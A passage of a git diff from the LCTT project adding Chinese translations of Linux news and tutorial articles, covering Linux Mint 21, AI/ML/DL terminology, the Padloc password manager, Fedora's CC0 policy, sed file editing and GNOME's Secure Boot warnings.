+校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/command-line-text-editors-linux/ +[2]: https://itsfoss.com/vim-vs-nano/ +[3]: https://www.vim.org/ +[4]: https://news.itsfoss.com/vim-9-0-release/ +[5]: https://launchpad.net/~jonathonf/+archive/ubuntu/vim +[6]: https://itsfoss.com/wp-content/uploads/2022/07/install-latest-vim-on-ubuntu-using-ppa.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/vim-9-ubuntu.png +[8]: https://itsfoss.com/ppa-guide/ +[9]: https://itsfoss.com/apt-command-guide/ diff --git a/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md b/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md new file mode 100644 index 0000000000..e4c491c54c --- /dev/null +++ b/published/202208/20220731 The Much Awaited Linux Mint 21 is Released and Available to Download.md @@ -0,0 +1,128 @@ +[#]: subject: "The Much Awaited Linux Mint 21 is Released and Available to Download" +[#]: via: "https://news.itsfoss.com/linux-mint-21-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14884-1.html" + +期待已久的 Linux Mint 21 发布 +====== + +> Linux Mint 终于发布了基于 Ubuntu 22.04 LTS 的 “Vanessa”,并带来了很多有用的改进。 + +![linux mint 21][1] + +Linux Mint 是 [最受欢迎的 Linux 发行版之一][2]。它使用 Ubuntu 作为其基础,特别是它基于 [长期支持][3] 的 Ubuntu 版本,以获得长达 5 年的软件支持。 + +现在,我们有一个新的版本升级,即 **Linux Mint 21 “Vanessa”**,它基于 4 月份最新发布的 [Ubuntu 22.04 LTS 版本][4]。因此,用户可以预期它的安全更新可以支持到 2027 年。 + +让我们来看看这个版本的亮点。 + +### Linux Mint 21 Vanessa 的新亮点 + +![][5] + +它采用了稳定的、改进的 [Linux 5.15 LTS 内核][6],Linux Mint 21 带来了一系列新的增加、变化和完善。 + +#### 现有用户的升级工具 + +![][7] + +现有的 Mint 20.3 用户可以使用新的基于 GUI 的升级工具轻松更新他们的系统。 + +用户会看到一个需要安装或升级的新软件包的列表,这也包括了对你可能手动添加的第三方 PPA 库的检查。 + +#### 新的蓝牙管理器 + +![][8] + +Blueman 现在取代了图形界面的 GNOME 蓝牙管理器 Blueberry。 + +之所以这样做,主要是因为 Blueman 提供了更多的功能和连接选项,以及对多种桌面环境的更好支持。此外,Blueman 的用户界面与 Linux Mint 完美地融合在一起。 + +Blueman 包括一些高级选项,可能大多数用户用不到,但它是一个好工具。 + +#### 新的进程监控托盘图标 + +![][9] + +不管是对于资深用户还是初级用户来说,一个非常有用的功能是引入了一个新的托盘图标,可以监控进程! + +这个托盘图标将通知用户是否有任何自动化进程(如更新和系统快照)在后台运行。 + +当系统变得缓慢时,Mint 用户将很容易知道该去哪里找到问题! + +#### 增强的缩略图支持 + +![][10] + +以前,一些文件类型没有任何缩略图显示,这样的用户体验不是很好。 + +为了解决这个问题,这个版本引入了一个新的项目 *xapp-thumbnails*,并为包括 AppImage、ePub、MP3、RAW 图片和 WebP 在内的文件类型带来了缩略图支持。 + +#### XApp 的改进 + +以前的 Timeshift 备份工具现在成为了一个 XApp,并由 Mint 团队正式维护。此外,在 rsync 模式下,如果快照导致磁盘上的可用空间少于 1GB,则会计算出下一次快照所需的空间并跳过下一次快照。 + +Xviewer、Warpinator、Thingy 和 WebApp 管理器也有了其他改进。 + +#### Cinnamon 5.4.2 + +Linux Mint 的旗舰桌面环境 Cinnamon 得到了良好的内部升级。 + +默认的窗口管理器 Muffin 现在重新基于较新的 Mutter 3.36 代码库开发。 + +窗口 UI 也有一些细微的改进,包括主题和动画。 + +![][11] + +### 其他增加的功能和改进 + +其他一些变化包括: + +* 改进了对 AppImage 的支持,这与 Ubuntu 22.04 不同 +* 目录中出现了一组新的漂亮的壁纸 + +你可以在我们专门的 [Linux Mint 21 功能][12] 文章中探索更多关于它的新亮点。 + +### 获取 Linux Mint 21 + +如果你正在使用 Mint 20.3,你应该能在几天内升级到 Mint 21。图形化的更新过程应该会在几天后出现。 + +你可以选择从 Linux Mint 的下载页面下载 ISO,进行全新安装。 + +> **[获取 Linux Mint 21][13]** + +如果你的网络速度慢或不稳定,你也可以 [用这个种子链接][14]。 + +享受新鲜的 Mint 吧 🙂 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-21-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/linux-mint-21-release.jpg +[2]: https://itsfoss.com/best-linux-distributions/ +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/ubuntu-22-04-release/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/07/linux-mint-21-new.jpg +[6]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[7]: https://news.itsfoss.com/wp-content/uploads/2022/07/upgradetool.webp +[8]: https://news.itsfoss.com/wp-content/uploads/2022/07/blueman.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/monitor.png +[10]: https://news.itsfoss.com/wp-content/uploads/2022/07/thumbnails.png +[11]: https://news.itsfoss.com/wp-content/uploads/2022/07/animations.png +[12]: https://itsfoss.com/linux-mint-21-features/ +[13]: https://linuxmint.com/download.php +[14]: https://linuxmint.com/torrents/ diff --git a/published/202208/20220801 AI, ML and DL- What-s the Difference-.md b/published/202208/20220801 AI, ML and DL- What-s the Difference-.md new file mode 100644 index 0000000000..d2d7776bcb --- /dev/null +++ b/published/202208/20220801 AI, ML and DL- What-s the Difference-.md @@ -0,0 +1,63 @@ +[#]: subject: "AI, ML and DL: What’s the Difference?" +[#]: via: "https://www.opensourceforu.com/2022/08/ai-ml-and-dl-whats-the-difference/" +[#]: author: "Bala Kalavala https://www.opensourceforu.com/author/bala-kalavala/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14918-1.html" + +人工智能(AI)、机器学习(ML)和深度学习(DL):有什么区别? +====== + +> 我们经常交替使用人工智能(AI)、机器学习(ML)和深度学习(DL)这些术语,尽管我们几乎每天都阅读或听到它们。本文解释了这些技术是如何演变的以及它们有何不同。 + +![AI ML and DL What’s the Difference][1] + +人工智能Artificial Intelligence(AI)、机器学习Machine Learning(ML)和深度学习Deep Learning(DL)通常可以互换使用。但是,它们并不完全相同。人工智能是最广泛的概念,它赋予机器模仿人类行为的能力。机器学习是将人工智能应用到系统或机器中,帮助其自我学习和不断改进。最后,深度学习使用复杂的算法和深度神经网络来重复训练特定的模型或模式。 + +让我们看看每个术语的演变和历程,以更好地理解人工智能、机器学习和深度学习实际指的是什么。 + +#### 人工智能 + +自过去 70 多年以来,人工智能已经取得了长足的进步。无论我们是否知道,也不管喜欢与否,,它已经渗透到了我们生活的方方面面。在过去十年中,机器学习和深度学习的进步已经在各种规模的行业和组织中创造了人工智能热潮。云服务提供商通过开发免费的开源服务和提供新的场景进一步推动的这种势头。 + +![Figure 1: Overview of AI, ML and DL][2] + +人工智能可能是自 1956 年以来最受关注的概念。到 2015 年,GPU 的广泛使用使并行处理更快、更强大、更便宜。而愈加廉价的存储可以大规模地存储大数据(从纯文本到图像、映射等)。这产生了对数据分析的需求,它被更普遍地称为数据科学data science,导致机器学习发展为实现人工智能的方法。 + +#### 机器学习 + +机器学习是使用算法来处理、学习和理解或预测可用数据的模式。最近,软件开发的低代码和无代码概念被用作机器学习中的自学习过程,它给出了完成特定任务的特定指令。通过使用数据和算法对机器进行“训练”,使其能够学习如何执行任务,更重要的是,将学习应用到不断发展的过程中。 + +![Figure 2: Evolution of AI, ML and DL][3] + +机器学习是在开发者社区专注于 AI 时发展起来的,然后发展了算法决策树学习、逻辑编程、聚类、并行处理和强化学习。这些都是朝着正确方向迈出的良好一步,但不足以解决世界感兴趣的场景。 + +#### 深度学习 + +深度学习是神经网络和机器学习的进化,是人工智能社区的创意。它学习了人类思维在特定场景中的工作方式,然后在这项工作上比人类做得更好!例如,IBM 的 Watson 与自己下国际象棋,并在游戏中取得了很大进步,最终击败了世界冠军。谷歌的 AlphaGo 也学会了如何玩围棋游戏,一遍又一遍地玩它以提高自己,并成为冠军。 + +人工智能、机器学习和深度学习正在不断发展。参与数据科学的每个人都希望推进这些概念以改善我们的日常生活。而开源社区、私营企业、科学家和政府机构都在为此共同努力。 + +![Figure 3: Types of AI, ML and DL][4] + +总而言之,虽然 AI 有助于创建智能机器,但机器学习有助于构建 AI 驱动的应用。深度学习是机器学习的一个子集。它通过利用复杂算法处理大量数据来训练特定模型。由于狭义 AI 极难开发,机器学习正在通过刚性计算解决这一领域的机遇。至少对于实现通用 AI,深度学习有助于将 AI 和机器学习结合在一起。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/ai-ml-and-dl-whats-the-difference/ + +作者:[Bala Kalavala][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/bala-kalavala/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/AIML-and-DL-Whats-the-Difference.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Overview-of-AI-ML-and-DL.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Evolution-of-AI-ML-and-DL.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Types-of-AI-ML-and-DL.jpg diff --git a/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md b/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md new file mode 100644 index 0000000000..bd21eb943d --- /dev/null +++ b/published/202208/20220801 Padloc- An Intuitive Open-Source Password Manager.md @@ -0,0 +1,117 @@ +[#]: subject: "Padloc: An Intuitive Open-Source Password Manager" +[#]: via: "https://itsfoss.com/padloc/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14913-1.html" + +Padloc:一个直观的开源密码管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/09/170622fcpzpcjmzxauwexw.jpg) + +> 让我们了解一下这个具有令人愉悦的用户界面、跨平台可用的开源密码管理器。 + +有大量适用于个人和团队的免费的和收费的密码管理器。 + +然而,当谈到开源方案时,它通常仅限于几个好的方案,如 [Seahorse][1]、[KeePassXC][2] 和 [Bitwarden][3]。 + +如果你已阅读过我们的 [Linux 最佳密码管理器][4]列表,你可能已经知道其中的一些。 + +我偶然发现了另一个有趣的开源密码管理器 **Padloc**,它可以因其用户体验而进入该列表。 + +### Padloc:安全的跨平台密码管理器应用 + +![padloc screenshot][5] + +虽然 Padloc 并不是特别流行,但它可不仅仅是又一个开源密码管理器。 + +你可以通过该应用和端到端加密来保护密码,从而获得令人耳目一新的用户体验。它旨在提供一个干净简单的界面来使用。 + +![padloc light mode][6] + +提供免费版本,但提供付费订阅以解锁大多数功能。 + +它支持所有主要平台,包括 Linux、Windows、macOS、Android 和 iOS。 + +你还可以获得 Mozilla Firefox 和谷歌 Chrome 的浏览器扩展以及所有可用的应用。因此,你也可以随时选择在浏览器上访问/使用它。 + +有趣的是,直到最近,该项目近两年都没有看到任何重大更新。但是,这个开源项目一直在修修补补。 + +### Padloc 的特点 + +![padloc active sessions][7] + +Padloc 提供一系列免费和收费功能。根据你的要求,你可以选择升级到付费订阅。 + +一些功能包括: + +* 保管库项目无限制 +* 设备数量无限制 +* 通过电子邮件进行双因素身份验证 +* 添加标签 +* 生成独特的密码 +* 支持使用 Favicon 来识别保管库项目 +* 深/浅模式主题 +* 主动会话管理 +* 导入/导出功能(加密容器/CSV) +* 团队支持(付费) +* 多因素身份验证(付费) +* 记笔记(付费) +* 文件附件(付费) +* 安全报告(付费) + +从技术上讲,你可以获得所有基本功能。但是,要充分利用它,你需要订阅起价为**每月 3.49 美元或每年 34.9 美元**的高级订阅。 + +### 在 Linux 上安装 Padloc + +![padloc app screenshot 1][8] + +Padloc 为你提供了多种适用于 Linux 的选项。你可以下载 AppImage、.deb、Snap 或 Flatpak 包。 + +此外,你可以下载非 electron 的桌面客户端版本,这很好! + +我测试了 AppImage 文件,它运行良好。你可以按照我们的指南 [使用 AppImage][9]、[设置 Flatpak][10] 或 [安装 deb 包][11] 开始使用。 + +你可以查看其 [官方网站][12] 或 [GitHub 页面][13] 了解更多信息。 + +> **[Padloc][14]** + +### 一个略显昂贵的密码管理器带来良好的用户体验 + +它的用户界面和使用它的整体体验给我留下了深刻的印象。 + +如果你优先考虑用户界面、极简主义和开源技术,无论你决定免费使用还是付费使用,Padloc 都是一个有用的选择。 + +当然,如果你想要物有所值(或更便宜)的东西,你可以随时选择 [Bitwarden][15] 之类的东西。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/padloc/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/seahorse/ +[2]: https://itsfoss.com/keepassxc/ +[3]: https://itsfoss.com/bitwarden/ +[4]: https://itsfoss.com/password-managers-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-screenshot.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-light-mode.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-active-sessions.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/padloc-app-screenshot-1.png +[9]: https://itsfoss.com/use-appimage-linux/ +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://itsfoss.com/install-deb-files-ubuntu/ +[12]: https://padloc.app/ +[13]: https://github.com/padloc/padloc +[14]: https://padloc.app/ +[15]: https://itsfoss.com/bitwarden/ diff --git a/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md b/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md new file mode 100644 index 0000000000..4adc494f31 --- /dev/null +++ b/published/202208/20220801 What Made Fedora Choose To Use CC0 Licensed Code As The Boot.md @@ -0,0 +1,52 @@ +[#]: subject: "What Made Fedora Choose To Use CC0 Licensed Code As The Boot" +[#]: via: "https://www.opensourceforu.com/2022/08/what-made-fedora-choose-to-use-cc0-licensed-code-as-the-boot/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14921-1.html" + +为什么 Fedora 一开始允许使用 CC0 许可证 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/12/160739j1eqft2cpw7srssz.png) + +开源是一个具有挑战性的概念。许多人认为,开源意味着可以任意的使用软件,并且可以免费下载。这实际上取决于你如何被许可 —— 开发者分享代码时使用的许可证决定了它。开源软件可以是收费的,也可以限制你如何去使用它,在极少数情况下,甚至让你陷入法律纠纷。 + +Fedora 项目最近决定拒绝所有使用 知识共享Creative Commons “公共领域专用” CC0 许可证的代码,以避免这种情况的出现。CC0 将从新提交代码中准许使用的许可证列表中剔除,但是,像艺术品一类的贡献仍被允许所以它,甚至可能在个案的情况下对当前的软件包进行逐一的处理。 + +如果 Fedora 反对一个软件许可证,通常不会成为新闻。事实上,在那么多的许可证当中,该项目拒绝了许多许可证。这种情况的意外之处在于,CC0 最初被认为是一个有效的许可证,现在只是由于更大的自由及开源(FOSS)社区内的观点转变而被重新分类。 + +CC0 是因为什么让 Fedora 决定停止支持它,这又是否意味着你不能在你自己的项目中使用它呢? + +这一段描述让最熟悉知识共享及其许可系列的人惊讶的是,Fedora 最初批准了 CC0 的软件。毕竟,知识共享从一开始的目标是为艺术作品提供一系列明确的许可证。该组织的使命和许可证的要求在其名称“知识共享”中就有所体现。 + +为了“克服分享信息和创造力的法律障碍”,提供一个自由的框架来为人们组织分享如音乐、医学或教育材料的资源,知识共享组织的前身——开放内容项目Open Content Project,于 2001 年成立。然而,软件从来不是它的组成要素。为什么呢?因为那时,如 MIT、GPL 一类的重要的软件许可证已经出现了十几年。 + +很明显,如果一家公司不遗余力地警告你他们制造的东西不适合某种特定用途,你也许应该相信他们。知识共享的 FAQ 列出了一些反对在软件上使用他们的许可证的令人信服的论据,但对于像 Fedora 项目这样的用户来说,其中一个问题特别突出:专利权。 + +鉴于 CC0 许可证是为公共领域的作品准备的,而且通过使用它,创作者明确地“放弃了他或她在版权法下对作品的所有权利”,这似乎矛盾的。但是,问题在于,版权法并不适用于专利。事实上,仔细审视许可证的完整措辞后可以发现,它在一个令人担忧的部分解决了这个问题,该部分内容如下:“宣告者拥有的任何商标或专利权都没有被本文本放弃、抛弃、交出、租赁或以其他方式修改。” + +换言之,即使被 CC0 许可的东西的作者可能愿意放弃对它的权力,但他们仍然可以自由的为它申请专利。更糟糕的是,他们仍然保留着以他们认为合适的方式使用该专利的能力。 + +理论上来说,这意味着最初在 CC0 下提供的源代码的人在发布了代码之后,他们可能会在之后断言任何使用该代码的人侵犯了他们的专利,并要求支付专利费。 + +这显然会让像 Fedora 这样的项目担忧。考虑一下这样的情形:CC0 许可的代码进入到一个系统的核心,然后被提供给数以百万计的用户。突然间,不知道从哪里冒出来的原创作者,声称侵犯了专利权,并要求付款。红帽或 Fedora 的律师可以驳倒这种说法么?也许吧。那么,为了查明真相而使用 CC0 代码值得么?不值得。 + +要着重提到的是,这完全不是一个新问题。实际上,早在 2012 年,专利条款就阻止了开源倡议(OSI)许可证的审查委员会,他们无法最终确定 CC0 是否真正符合他们对开源许可证的定义。委员会未能达成一致意见,因为其成员认为将此类条款纳入软件许可将创造一个危险的先例。考虑到 Fedora 动荡的历史,它最初接受 CC0 的决定着实让人费解。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/what-made-fedora-choose-to-use-cc0-licensed-code-as-the-boot/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/fedora-1024x614-1-e1659346500461.jpg diff --git a/published/202208/20220802 How I use the Linux sed command to automate file edits.md b/published/202208/20220802 How I use the Linux sed command to automate file edits.md new file mode 100644 index 0000000000..f1964fd393 --- /dev/null +++ b/published/202208/20220802 How I use the Linux sed command to automate file edits.md @@ -0,0 +1,175 @@ +[#]: subject: "How I use the Linux sed command to automate file edits" +[#]: via: "https://opensource.com/article/22/8/automate-file-edits-sed-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14938-1.html" + +如何使用 Linux sed 命令自动进行文件编辑 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/17/120535by5jfu5dovfesd56.jpg) + +> 以下是从 Linux 命令行自动编辑文件的一些提示和技巧。 + +当我使用 Linux 命令行时,无论是在台式机上编写新程序还是在 Web 服务器上管理网站,我经常需要处理文本文件。Linux 提供了强大的工具,我可以利用这些工具来完成我的工作。我经常使用 `sed`,一个可以根据模式修改文本的编辑器。 + +`sed` 代表 流编辑器Stream EDitor,它编辑文件中的文本并打印结果。使用 `sed` 的一种方法是识别一个字符串在文件中的几次出现,并将它们替换为不同的字符串。使用 `sed` 来处理文本文件的方式似乎是无穷无尽的,但我想分享一些使用 `sed` 来帮助我管理文件的方法。 + +### 在 Linux 上搜索和替换文件中的文本 + +要使用 `sed`,你需要使用一个*正则表达式*。正则表达式是定义模式的一组特殊字符。我最常使用 `sed` 的例子是替换文件中的文本。替换文本的语法如下:`s/originaltext/newtext`。`s` 告诉 `sed` 执行文本替换或交换出现的文本。在斜线之间提供原始文本和新文本。 + +此语法将仅替换每行中第一次出现的 `originaltext`。要替换每个匹配项,即使在一行中原始文本出现了不止一次,要将 `g` 追加到表达式的末尾。例如:`s/originaltext/newtext/g`。 + +要在 `sed` 中使用此表达式,请使用 `-e` 选项指定此正则表达式: + +``` +$ sed -e 's/originaltext/newtext/g' +``` + +例如,假设我有一个名为 `game` 程序的 Makefile 文件,该程序模拟了康威的《生命游戏》: + +``` +.PHONY: all run clean + +all: game + +game: game.o +        $(CC) $(CFLAGS) -o game game.o $(LDFLAGS) + +run: game +        ./game + +clean: +        $(RM) *~ +        $(RM) *.o +        $(RM) game +``` + +`game` 这个名字并不是很有描述性,所以我想会把它改名为 `life`。将 `game.c` 源文件重命名为 `life.c` 非常简单,但现在我需要修改 Makefile 以使用新名称。我可以使用 `sed` 来将所有的 `game` 更改为 `life`: + +``` +$ sed -e 's/game/life/g' Makefile +.PHONY: all run clean + +all: life + +life: life.o +        $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) + +run: life +        ./life + +clean: +        $(RM) *~ +        $(RM) *.o +        $(RM) life +``` + +`sed` 会将输出打印到屏幕上,这是检查文本替换是否符合你要求的好方法。要对 Makefile 进行这些更改,首先,备份文件,然后运行 `sed` 并将输出保存到原始文件名: + +``` +$ cp Makefile Makefile.old +$ sed -e 's/game/life/g' Makefile.old > Makefile +``` + +如果你确信你的更改正是你想要的,请使用 `-i` 或 `--in-place` 选项来编辑文件。但是,我建议添加一个备份文件后缀,如 `--in-place=.old`,用来备份原始文件,以备日后需要恢复时使用。它看起来像这样: + +``` +$ sed --in-place=.old -e 's/game/life/g' Makefile +$ ls Makefile* +Makefile  Makefile.old +``` + +### 在 Linux 上使用 sed 引用文件 + +你可以使用正则表达式的其它功能来匹配特定的文本实例。例如,你可能需要替换出现在行首的文本。使用 `sed`,你可以用上尖号 `^` 来匹配行的开头。 + +我使用“行首”来替换文本的一种方式是当我需要在电子邮件中引用一个文件时。假设我想在电子邮件中共享我的 Makefile,但我不想将其作为文件附件包含在内。相反,我更喜欢在电子邮件正文中“引用”文件,在每行之前使用 `>`。我可以使用以下 `sed` 命令将编辑后的版本打印到我的终端,并将其复制粘贴到新的电子邮件中: + +``` +$ sed -e 's/^/>/' Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>       $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>       ./life +> +>clean: +>       $(RM) *~ +>       $(RM) *.o +>       $(RM) life +``` + +`s/^/>/` 正则表达式匹配每行的开头(`^`),并在那里放置一个 `>`。实际上,这相当于每行都以 `>` 符号开始。 + +制表符可能无法在电子邮件中正确显示,但我可以通过添加另一个正则表达式将 Makefile 中的所有制表符替换为几个空格: + +``` +$ sed -e 's/^/>/' -e 's/\t/  /g' Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>  $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>  ./life +> +>clean: +>  $(RM) *~ +>  $(RM) *.o +>  $(RM) life +``` + +`\t` 表示文字制表符,因此 `s/\t/ /g` 告诉 `sed` 用输出中的两个空格替换输入中的所有制表符。 + +如果你需要对文件进行大量编辑,你可以将 `-e` 命令保存在文件中,并使用 `-f` 选项来告诉 `sed` 将该文件用作“脚本”。如果你需要经常进行相同的编辑,这种方法特别有用。我已经准备了 `quotemail.sed` 的脚本文件来在我的电子邮件中引用 Makefile: + +``` +$ cat quotemail.sed +s/^/>/ +s/\t/  /g +$ sed -f quotemail.sed Makefile +>.PHONY: all run clean +> +>all: life +> +>life: life.o +>  $(CC) $(CFLAGS) -o life life.o $(LDFLAGS) +> +>run: life +>  ./life +> +>clean: +>  $(RM) *~ +>  $(RM) *.o +>  $(RM) life +``` + +### 学习在 Linux 上使用 sed + +`sed` 是一个很好的工具,可以保存在你的 Linux 命令行工具包中。浏览 `sed` 手册页并了解有关如何使用它的更多信息。在命令行中键入 `man sed` 以获取有关不同命令行选项的完整文档,以及如何使用 `sed` 处理文本文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/automate-file-edits-sed-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/features_solutions_command_data.png diff --git a/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md b/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md new file mode 100644 index 0000000000..a4fd67ff80 --- /dev/null +++ b/published/202208/20220802 Secure Boot Disabled- GNOME Will Soon Warn You About it.md @@ -0,0 +1,93 @@ +[#]: subject: "Secure Boot Disabled? GNOME Will Soon Warn You About it!" +[#]: via: "https://news.itsfoss.com/gnome-secure-boot-warning/" +[#]: author: "Anuj Sharma https://news.itsfoss.com/author/anuj/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14892-1.html" + +如果禁用了安全启动,GNOME 就会发出警告 +====== + +> GNOME 正计划通知用户其固件安全状态,来保护不安全的硬件。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/gnome-secure-boot-warning.jpg) + +当你在支持 UEFI 的电脑上安装 Linux 时,你必须禁用“安全启动Secure Boot”,因为启用该选项后,不能使用现场 USBLive USB 启动。 + +一些主流的 Linux 发行版支持安全启动,但对于许多其他发行版(以及板载的 Nvidia 硬件)来说,它的设置仍然具有挑战性。 + +虽然一年又一年,情况似乎并没有改善,但总的来说,安全启动是一个必不可少的保护功能。 + +因此,正如 [Phoronix][1] 所发现的,为了方便和让用户意识到这一点,GNOME 和红帽的开发者正在努力在安全启动被禁用时通知(或警告)用户。 + +### 它有什么用? + +UEFI/安全启动被批评为 DRM,因为它剥夺了用户的自由。开源社区的许多人仍然不赞同实施 UEFI/安全启动和 TPM,因为它带来了不便。这就催生了像 [Coreboot][2] 这样的项目在开源世界中蓬勃发展。 + +当然,如果你每天都用 Linux,我会建议你购买支持 Coreboot 的新硬件,这是一个不同的故事。 + +话虽如此,但可以肯定的是,安全启动是最简单的方法。 + +考虑到捆绑的专有固件,安全启动的安全性仍然值得商榷。但是,它是一个确保系统的固件安全的基本保护机制。 + +所以,开发者准备在启动闪屏([Plymouth][3])、GNOME 显示管理器(GDM)和 GNOME 控制中心显示警告。 + +![图片来源:GNOME 博客][4] + +GNOME 的一位开发者在 [博客文章][5] 中分享了它的更多细节,同时给出了其中的一些屏幕截图。 + +![][6] + +一位来自红帽的开发者在 [合并请求][7] 中提到。 + +> 安全启动被用来对付一些恶意软件试图感染系统的固件的安全威胁。用户可能会无意中禁用或软件可能会有意禁用安全启动。因此,配置不正确的话,系统就运行在一个不安全的平台上。如果启动闪屏能向用户提供一个警告,用户可以重新启动并重新配置他们的系统,或者立即寻求帮助。 + +所以,作为一个 GNOME 用户,当它进入 GNOME 43 的最终版本或任何未来的版本时,我乐于看到它所带来的变化。 + +如果你也想看看,你可以在 GNOME 控制中心的“隐私Privacy”标签下的“设备安全Device Security”部分找到这个选项,如下图所示,我的机器在 Arch Linux 上运行 GNOME 43 alpha。 + +![][8] + +该菜单还可以显示 TPM、英特尔 BootGuard 和 IOMMU 保护的细节。 + +![][9] + +看来我的系统并不像我想象的那么安全……但也许这就是这个功能的意义所在? + +如果你只在你的 Linux 发行版上使用 UEFI 模式,并且为了方便而关闭了安全保护功能,这能让你意识到这一点吗? + +有可能。但是,看看 Linux 发行版的状况和启用安全启动的问题。我不觉得这可能会是一个大问题。我们很快就会知道了。 + +### 如何禁用这个警告? + +正如在 GNOME Gitlab 的 [合并请求][10] 中提到的,在你的内核参数中添加 `sb-check=false` 就可以禁用这些警告。 + +不过,作为终端用户,你不需要担心这个问题。 + +你对即将在 GNOME 43 或更高版本中增加的这个功能有什么看法?你对 UEFI/安全启动有什么看法? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-secure-boot-warning/ + +作者:[Anuj Sharma][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/anuj/ +[b]: https://github.com/lujun9972 +[1]: https://www.phoronix.com/news/GNOME-Secure-Boot-Warning +[2]: https://www.coreboot.org/ +[3]: https://gitlab.freedesktop.org/plymouth +[4]: 